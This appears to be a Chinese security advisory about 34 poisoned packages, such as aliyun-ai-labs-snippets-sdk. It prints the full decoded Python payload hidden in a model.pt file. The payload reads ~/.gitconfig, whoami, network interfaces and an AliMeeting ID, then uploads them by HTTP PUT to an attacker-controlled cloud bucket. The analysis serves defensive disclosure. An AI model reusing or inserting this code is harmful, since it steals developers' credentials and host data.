aliyun-ai-labs-snippets-sdk 等34个投毒包窃取用户敏感信息

毒组件会窃取用户的主机信息、Telegram Token、以太坊和 Binance Smart Chain 钱包资金等信息，并与攻击者的C2地址建立持久化连接，攻击者可对用户主机进行远控和进一步信息窃取。

把 model.pt 文件解压和解码，其中的恶意代码经过解码后如下：

# -*- coding: utf-8 -*-
import json
import os
import subprocess
import codecs
import sys
import warnings
warnings.filterwarnings("ignore")
if sys.version_info[0] >= 3:
    import urllib.request as urllib2
else:
    import urllib2
try:
    from urllib2 import Request, urlopen
except ImportError:
    from urllib.request import Request, urlopen
import uuid
url = "https://aksjdbajkb2jeblad.oss-cn-hongkong.aliyuncs.com/aksahlksd/"+uuid.uuid4().hex
try:
    aa = os.path.expanduser("~")
    cc = os.path.join(aa, ".gitconfig")
    with codecs.open(cc, "r", encoding="utf-8", errors="ignore") as f:
        dd = f.read()
    aaa = dd
except Exception as e:
    aaa = "error"
try:
    user = subprocess.check_output("whoami", shell=True).strip().decode("utf-8")
except:
    user = "None"
import subprocess

try:
    result = subprocess.run(
        "defaults read alibaba.alimeeting _utmc_lui_",
        shell=True,
        check=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )
    dd = result.stdout.strip()
except Exception as e:
    dd = "None"
if sys.platform == "win32":
    ccc = "ipconfig"
else:
    ccc = "ifconfig"
try:
    bb = subprocess.check_output(ccc, shell=True).decode("utf-8")
except:
    bb = "None"
json_data = {
    "user": user,
    "work": dd,
    "interface_info": bb,
    "gitconfig_info": aaa
}
url_ = url+"-"+str(dd)
if sys.version_info[0] >= 3:
    req = Request(url_, data=json.dumps(json_data).encode('utf-8'), headers={'Content-Type': 'application/json'}, method='PUT')
else:
    class PutRequest(urllib2.Request):
        def get_method(self):
            return 'PUT'
    req = PutRequest(url_, data=json.dumps(json_data).encode('utf-8'))
    req.add_header('Content-Type', 'application/json')
try:
    response = urlopen(req)
except Exception as e:
    pass